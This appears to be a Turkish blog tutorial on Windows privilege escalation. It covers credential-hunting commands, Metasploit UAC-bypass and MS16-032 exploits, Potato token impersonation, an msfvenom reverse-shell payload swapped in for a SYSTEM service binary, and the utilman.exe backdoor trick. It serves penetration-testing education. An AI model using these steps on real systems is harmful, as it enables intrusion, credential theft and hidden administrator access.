Windows Sistemlerde Yetki Yükseltme Saldırıları

Ele geçirilen sistemler üzerinden yetki yükseltmek ilk yapılması gerekilen saldırıdır. Yetkisiz bir domain kullanıcısı ile ele geçirilen sistemden maximum yapılabilecek hacking faaliyetleri “keylogger çalıştırmak, webcam izlemek, mikrofondan kayıt almak veya ekrana mesaj bırakmak vb.” gibi aktivitelerdir. Saldırganlar herzaman ele geçirdikleri bir sistem üzerinden maximum bilgiyi toplamaya çalışırlar ve elde ettikleri verilerden yola çıkarak (bknz; parolalar, erişim bilgileri, vb.) ağ içerisinde bulunan diğer sistemlere veya kritik ağlara erişmeye çalışırlar. Bu aşamların gerçekeleştirilmesi içinde post-exploitation (sızma sonrası) konusu içersinde yer alan Privilege Escalation (yetki yükseltme) yapılması gerekilmektedir.

Yetki Yükseltme Saldırılarında Bilgi Toplama

Yetki yükseltme saldırılarında kullanılan yöntemler maddeler halinde aşağıda listlenemiştir;

Whoami

  • Ele geçirilen sistemin hangi kullanıcı hakları ile çalıştıgının tespiti için “whoami” komutunu kullanmak yeterli olacaktır.

Systeminfo

  • Ele geçirilen sistemde kurulu işletim sistemi bilgisi, versiyon bilgisi, donanımsal bilgiler vb bilgiler için “systeminfo” komutu kullanmak yeterli olacaktır

Net Use

  • Ele geçirilen sisteme bağlı olan kullanıcıların tespiti için “net use” komutu kullanmak yeterli olacaktır.

Wmic QFE

  • Ele geçirilen sistemde kurulması gerekilen güvenlik yamalarını “wmic qfe” komutunu kullanarak tespit edilmesi mümkündür.

Wmic Logicaldisk

  • Ele geçirilen sistemde tanımlı olan disk ve sürücülerini “wmic logicaldisk get caption,description,providername” komut ile tespit edilmektedir.

Net user

  • Ele geçirilen sistemde oluşturulan yerel kullanıcıların tespiti için “net user” komutu kullanılmaktadır.

Qwinsta

  • Ele geçirilen sistemde açık rdp oturumlarını listelemek için “qwinsta” komutu kullanılarak bu işlem gerçekleştirilebilir.

Net LocalGroup

  • Ele geçirilen sistemde bulunan yerel kullanıcı ve sistem gruplarını kullanmak için “net localgroup” komutu kullanılmaktadır.

Net User Administrator

  • Ele geçirilen sistemde bulunan kullanıcı hakkında bilgi almak için “net user <KullanıcıAdı>” şeklinde komutu kullanarak parola değiştirme süresi, kullanıcının hangi grupda çalıştıgı hakkında bilgiler elde edilmektedir.

Req Query

  • Ele geçirilen sistemin kayıt defterinden Autologon için herhangi bir veri varmı tespiti için “reg query “HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon” 2>nul | findstr “DefaultUserName DefaultDomainName DefaultPassword” komutu kullanılmaktadır.

CMDKey /list

  • Ele geçirilen sistemin Credential Manager’da bulunan verilerlin tespiti için “cmdkey /list” komutu kullanılmaktadır.

SAM/SYSTEM Dosyalarına Erişim

  • Ele geçirilen sistemin SAM ve SYSTEM dosyalarına erişim izni varmı sorusunu ortadan kaldırmak için sırası ile aşağıdaki komutlan kullanılmaktadır.
    • %SYSTEMROOT%\repair\SAM
    • %SYSTEMROOT%\System32\config\RegBack\SAM
    • %SYSTEMROOT%\System32\config\SAM
    • %SYSTEMROOT%\repair\system
    • %SYSTEMROOT%\System32\config\SYSTEM
    • %SYSTEMROOT%\System32\config\RegBack\system

CD & Dir Kullanımı

  • Ele geçirilen sistemde bir alt dizine geçiş yapılmak istendiğinde “cd ..” komutu kullanılır. Herhangi bir dizin/klasöre geçiş yapılmak istenilirse “cd klasör/dizin” şeklinde geçiş sağlanır. Bulunulan dizindeki dosya ve klasörleri görüntülemek için “dir” komutu kullanılmaktadır.
    Not: Powershell satırında bu işlemler yapılırken dizindeki klasör ve dosyaları görüntülemek için “dir veya ls” komutuda kullanılabilir.

Tasklist Kullanımı

  • Ele geçirilen sistemde çalışan processler “tasklist” komutu ile tespit edilebilmektedir. Fakat kullanılan çalışan processlerin servisleride görüntülenmek istenilirse “tasklist /svc” komutu kullanılabilmektedir. Aynı şekilde çalışan processlerin hani sistem haklarını ile çalıştığını görüntülemek için “tasklist /v” komutu kullanılmaktadır.

Yetki Yükseltme Saldırılarında Giriş

 

Bir önceki bölümde ele geçirilen sistem üzerinde yetki yükseltme saldırları bilgi toplama tekniklerinden bahsetmiştik. Elbetteki bilgi toplama süreçleri vermiş olduğumuz örneklerle sınırlı kalmamaktadır, burada saldırganın isteği ve ihtiyaçları doğrultusunda kapsam genişletilebilir veya düşürebilmektedir.
Bu bölümde elde edilmiş farklı oturumlarla (bknz; meterpreter, cmdshell, rdp gibi.) yetki yükseltme saldırıları gerçekleştirilecektir.

Local Exploit Suggester Kullanımı

Metasploitin modüllerinden olan meterpreter oturumu ile bir sistemde yetki yükseltme saldırısı yapmak için bazı moduller mevcuttur. Bunlara örnek vermek gerekirse bu uygulamada ele alınacak “Local Exploit Suggester” modülüdür.

Peki bu “Local Exploit Suggester” modül ne işe yaramaktadır sorusunu cevaplamak için kısaca şu şekilde açıklayabiliriz. Ele geçirilen sistemdeki işletim sistemi bilgilerinden yola çıkarak kendi veritabanında bulunan ve benzerliği olan exploitleri listelemektedir.

Burada unutulmaması gerekilen püf nokta şudur; Sızma testi çalışmalarında herzaman kör atış dediğimiz deneme yanılma yöntemi uygulanmaktadır. Nedeni ise örnek olarak hedef sistemde bir zafiyet/açıklık tespit edildi ve exploit hedef sistem üzerinde çalıştırıldı ama bir bağlantı veya bir yetki yükseltme saldırısı gerçekleştirilemedi. Burada siz değerli okurlarımızın motivasyon düşüklüğünü engellemek için şunu söylebiliriz; hedef sistemde bir antivirus veya bir exploit protection çalışıyor olabilir veya güvenlik yamaları yüklenmiş olabilir vb ihtimaller göz önünde bulundurulmalıdır.

Ele geçirilen sistem üzerinden elde edilen meterpreter satırı aşağıda resimde görünmektedir “getuid” komutu ile sistem haklarımıza baktığımızda “satis.user” kullanıcısı ile oturum elde ettiğimizi görmekdeyiz. Kullanıcı yetkilerimizi görüntülemek için “shell” satırında “net user test Test1234!! /add” komutu ile lokal bir kullanıcı oluşturmayı deniyoruz ve “Access is denied.” hatası ile yetkisiz bir kullanıcı olduğumuz tespit etmiş oluyoruz.

CTRL + C kombinasyonları ile meterpreter satırına geçiş yaparak “background” komutu ile oturumuzu arka plana atıyoruz. Local exploit suggester modülünü kullanabilmek için dizin bilgisine ihtiyacımız bulunmaktadır. Bunun için “search suggester“ komutu ile modülümüzün dizinin tespit etmekdeyiz.

“use post/multi/recon/local_exploit_suggester” komutu ile local exploit suggester modülümüzün dizinine erişmiş durumdayız. “Show Options” komutu ile modülün kullanımı için hangi bilgilerin gerekli olduğunu görüntülemekdeyiz. Bu modül bir post exploitation modülü olduğu için bizlerden hedef sistem üzerinden elde ettiğimiz session yani oturum bilgisinin ID numarasını istemektedir. Session bilgisini öğrenmek için “SESSION” komutu ile elde ettiğimiz oturumları görüntülemekdeyiz.

Elde edilen oturum ID’sinin “1” olduğunu “sessions” komutu ile tespit etmiş olduk ve “set SESSIONS <ID>” şeklinde oturum module tanımlanmaktadır ve “exploit” komutu ile hedef sistemde çalıştırlacak exploitler tespit edilecektir.

Örnek olarak “bypassuac_dotnet” açığından faydalanarak yetki yükseltmeyi denemek için “use exploit/windows/local/bypassuac_dotnet_profiler” şeklinde modulün bulunduğu dizine erişilir. “Show Options” komutu ile girilmesi gerekilen bilgiler görüntülenir.

“set SESSIONS <ID>” şeklinde meterpreter oturumunun id bilgisi girilir. Gelen bağlantının “generic/shell_revere_tcp” şeklinde değil de meterpreter oturumu ile gelmesini sağlamak için “set PAYLOAD windows/x64/meterpreter/reverse_tcp” şeklinde x64 bit mimarisine uygun meterpreter payloadı tanımlanır. Gelecek bağlantını yani saldırganın IP adresi “set LHOST <SALDIRGANIP>” şeklinde tanımlanır ve dinleme yapılacak saldırgan port numarsını “set LPORT <SALDIRGANPORT>” şeklinde tanımlanır. Son olarak “exploit” komutu saldırı başlatılır.

Görüldüğü gibi “getuid” komutu ile sistem üzerinde “NT AUTHORITY\SYSTEM” haklarında bir bağlantı elde edildiği görüntülenmiş “net user Test H4ck3r! /add” komutu ile sistemde yerel bir kullanıcı oluşturularak yetki yükseltme saldırısı başarı ile gerçekleştirilmiştir.

Powershell Satırında MS16-032 Açığının İstismar Edilmesi

Ele geçirilen sistem üzerinden elde edilen meterpreter satırı aşağıda resimde görünmektedir “sysinfo” komutu ile sistem hakkındaki bilgiler elde edilir. Görüldüğü gibi “Windows 8 (6.2 Build 9200)” versiyonunu kullanmaktadır. Google üzerinde “Windows 8 (6.2 Build 9200) Privilege Escalaiton” şeklinde arama yapılarak indexlenmiş exploitler incelenir. Örnek “Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64) – Local Privilege Escalation (MS16-032) (PowerShell)” adında bir exploit görüntülemekdeyiz.


Zafiyetin neden kaynaklandığına incelediğimizde, windowsun ikincil oturum açma hizmeti’nin bellekteki istekleri düzgün yönetememesi durumundan kaynaklanan görmekdeyiz.

Exploit powershell scripti şeklinde kodlanmıştır “Download” butonuna tıklanarak indirilir ve “upload exploit.ps1” şeklinde hedef sisteme upload edilir.

Exploiti çalıştırmadan önce net user komutu ile bir kullanıcı oluşturmayı deniyoruz ve görüldüğü gibi yetkisiz bir kullanıcıyız.

39719.ps1 adlı scriptin bulundugu dizine cd komutu ile gidilir. Powershellde bir script çalıştırmadan önce scriptin belleğe import edilmesi gerekilmektedir. Bunun için “Import-Modul 39719.ps1” şeklinde exploit import edilir.

Son olarak “Invoke-MS16-032” şeklinde exploit çalıştırılır. Görüldüğü gibi bize yeni bir cmd.exe penceresi açmaktadır bu ekranda “whoami” komutunu çalıştırıldığında “NT AUTHORITY\SYSTEM“ haklarında bir oturum elde ettiğimiz görmekdeyiz.

Powershell Satırında MS16-032 Açığının İstismar Edilmesi

Web uygulamasından kaynaklanan bir açıklık ile hedef sistemden erişim elde edilen meterpreter satırı aşağıdaki resimde görünmektedir “sysinfo” komutu ile sistem hakkındaki bilgiler elde edilmektedir. Görüldüğü gibi sızılan sistemimiz üzerinde IIS servisi çalışmaktadır ve domain yapısında kullanılan “Windows 2012 R2” işletim sistemli bir “File Server” sunucusudur.

Ele geçirilen sunucu üzerinde token manipilasyonu yöntemi ile yetki yükseltilecektir.

Sistem üzerindeki tokenları görüntülemek için “list_tokens -u” komutu kullanılmaktadır. Görüldüğü gibi “NT AUTHORITY\IUSR” adında 1 adet token bulunmaktadır. Saldırgan olarak sistem haklarında çalışmak için “NT AUTHORITY\SYSTEM” tokenına ihtiyacımız bulunmaktadır.

  • NT AUTHORITY\ SYSTEM Yerelde tüm verilere ve ağ kaynaklarına erişebilen
    en yetkili haklara sahip servisdir.
  • NT AUTHORITY\ LOCAL SERVICE Yerelde uygulama çalıştıran ve ağ kaynaklarına
    erişim izni olmayan servisdir.
  • NT AUTHORITY\ NETWORK SERVICE Ağ kaynaklarına erişebilen servisdir.

Token değişimi için “load incognito” komutu ile incognito modülünü çalışırtırıyoruz ve aktif hale getiriyoruz.

Şimdi ise token oluşturmak için potato.exe dosyasını hedef sistemde “C:\Users\Public” dizinine yüklememiz gerekmektedir. Bunun için meterpreter satırında “upload /saldırgan-dizini/potato.exe” şeklinde hedef sisteme potato.exe dosyasını başarılı bir şekilde yüklemiş bulunmakdayız. Potato.exe Windows hizmet hesaplarından yetki yükseltmek için kullanılan bir araçtır. Aşağıdaki linkden ygulama hakkında detaylı bilgi alabilir ve potato.exe dosyasını indirebilirsiniz.

  • Potato: https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/

Upload işleminden sonra potato.exe çalıştırmak için “execute –c –f potato.exe” komutunu kullanarak
uygulama çalıştırılır. Potato.exe dosyasını çalıştırdıktan sonra ise tekrardan sistem üzerindeki tokenları görüntülemek için
“list_tokens -u” komutunu kullanıyoruz ve görüldüğü gibi “NT AUTHORITY\ SYSTEM” tokenı elde
edilmiştir.

Son olarak token manipilasyonunu gerçekleştirmek için yüklediğimiz “incognito” modülü yardımı ile
“impersonate_token “NT AUTHORITY\SYSTEM”” komutunu kullanarak farklı bir hesaba bürünme
saldırısını başarı ile gerçekleştirmekdeyiz. Görüldüğü gibi “[+] Successfully impersonated user NT
AUTHORITY\SYSTEM” çıktısını almakdayız.

Kontrol etmek amacı ile “getuid” komutu ile sistem haklarına baktığımız zaman “NT
AUTHORITY\SYSTEM” servisinin çalıştığını görmekdeyiz.

Uygulama Zayıflıklarından Faydalanarak Yetki Yükseltme 

Yetki yükseltme saldırılarında kullanılan diğer bir teknik ise 3.parti yazılımlardan kaynaklanan açıklıklar demiştik. Bu senaryomuzda ele geçirilen “Windows Server 2008R2” işletim sistemli bir log server sunucusudur. Sistem haklarımıza baktığımızda “fg” adında yetkisiz bir kullanıcı ile oturum elde ettiğimizi görmekdeyiz.

Elde edilen oturmumuzu “background” komutu ile arkaplana alıyoruz ve metasploitin post modullerinden olan “enum_applications”’den faydalanarak sistem üzerinde kurulu uygulamaları tespit ediyoruz. Bunun için “use post/windows/gather/enum_applications” komutunu kullanarak modülün dizinine erişiyoruz ve “set SESSIONS ” komutu ile oturum id’mizi tanımlıyor ve “exploit” komutu ile modülü çalıştırıyoruz. Görüldüğü gibi sistem üzerindeki kurulu uygulamalar listelenmiştir. İlk sırada “nfsAxe 3.7” adında bir uygulama gözümüze çarpmakta.

Google üzerinde “nfsAxe 3.7 Privilege Escalation Exploit” şeklinde arama gerçekleştiriyoruz ve ilk sayfada bu uygulama ile alaklı bir yetki yükseltme açığı olduğunu tespit etmekteyiz

Exploiti incelediğimizde bize şunu söylemektedir; uygulama xsetsrv.exe adında bir dosya ile “NT AUTHORITY\ SYSTEM” haklarında windows startupında çalışmaktadır. Aynı isimle zararlı bir dosya oluşturarak “C:\Users\Public\Program Files\LabF.com\nfsAxe\” dizinindeki orjinal xsetsrv.exe dosyası ile saldırganın oluşturmuş olduğu zararlı dosyayı aynı isimde kayıt ederek dizinine kopyalamamız gerekiğini söylemektedir. Bu işlemlerden sonra hedef sistem yeninden başlatıldığında starupda xsetsrv.exe dosyası çalıştırılacağı için saldırgana otomatik olarak sistem haklarında yeni bir oturum gelecektir.

Saldırıya başlamadan önce hedef sistemden bağlantı almak için msfvenom ile xsetsrv.exe adında bir aşağıdaki resimde görüldüğü gibi zararlı bir dosya oluşturulmaktadır.
Payload: Msfvenom –p windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.129 LPORT=443 –f exe –o /var/www/html/xsetsrv.exe

Parametre Açıklamaları:

  • Msfvenom > Msfvenom uygulamasının çalıştırılacağı belirtilir.
  • -P > Hedef sistem üzerinde çalıştırılacak zararlı kod betiği belirtilir.
  • LHOST >  Gelen bağlantıyı karşılayacak IP adresi belirtilir. (Saldırganın)
  • LPORT > Gelen bağlantıyı karşılayacak Port numarası belirtilir. (Saldırganın)
  • -F > Dosya tipi belirtilir.
  • -O > Oluşturulan zararlı yazılım kayıt edileceği dizin belirtilir.

Son olarak oluşturulan zararlı yazılımda belirtilen IP ve PORT bilgisi metasploitin handler modülü yardımı ile dinlemeye aşağıdaki gibi alınır.

Zararlı yazılım oluşturma işleminden sonra “cd C:\Users\Public\Program Files\LabF.com\nfsAxe\” şeklinde uygulamının bulunduğu dizine erişim sağlanır ve oluşturulan xsetsrv.exe dosyası “upload /var/www/html/xsetsrv.exe” şeklinde varsayılan xsetsrv.exe dosyası ile kopyalanarak değiştirilir

Tüm bu adımlardan sonra hedef sistem yeniden başlatılır.

Hedef sistem açıldığında windows startup’unda xsetsrv.exe (zaralı) dosyası otomatik olarak çalıştırılmıştır ve “NT AUTHORITY\SYSTEM” haklarında oturum elde edilmiştir

Utilman.exe ile Yetki Yükseltme 

Fiziksel erişim sağlanan bir sunucuda veya clienda kullanıcı adı ve parola bilinmiyor ise hem kullanıcı oluşturma hemde yetki yükseltme saldırısı nasıl gerçekleştilir buna değineceğiz. Bu adımda windows işletim sistemlerinde bulunan “utilman.exe” processi kullanılacaktır. Utilman.exe nedir gibi soruları duyar gibiyim.. Kısacası özetlemek gerekirse şu şekilde anlatabiliriz; Kilit ekranındayken işlerimizi kolaylaştırın bazı araçlar vardır örnek vermek gerekirse ekran klavyesi, işte bu tarz işlemler windows/system32 dizininde bulunan utilman.exe ile sağlanır. Bu saldırda farklı bir işletim sistemi hedef sisteme USB veya CD/DVD yolu ile boot edilecektir. İlk olarak hedef makinaya bir “Parrot OS” boot edilir. Kalilinux, ubunutu vb dağıtımlarda kullanılabilir.

Boot işleminden sonra C:\\Windows\System32\ dizinine girilir ve “Utilman.exe” processi “ORJINAL_Utilman.exe” şeklinde değiştirilir, son olarak “cmd.exe” processi “Utilman.exe” şeklinde ismi değiştirilerek yeniden başlatılır.

YenidenBaşlatma sürecinden sonra karşımıza çıkan kilit ekranında sağ alt kısımda bulunan “Erişelebilirlik” butona tıklanır, görüldüğü gibi cmd penceresi açılmıştır, burdan sonra “net user /add kullanıcı pass” şeklinde yerel bir kullanıcı oluşturulur ve oluşturulan kullanıcıya lokal admin yetkisi vermek için “net localgroup administrators kullanıcı /add” şeklinde komutun çalıştırılması yeterli olacaktır

Copyright © 2021. All rights reserved

You cannot copy content of this page

Scroll to Top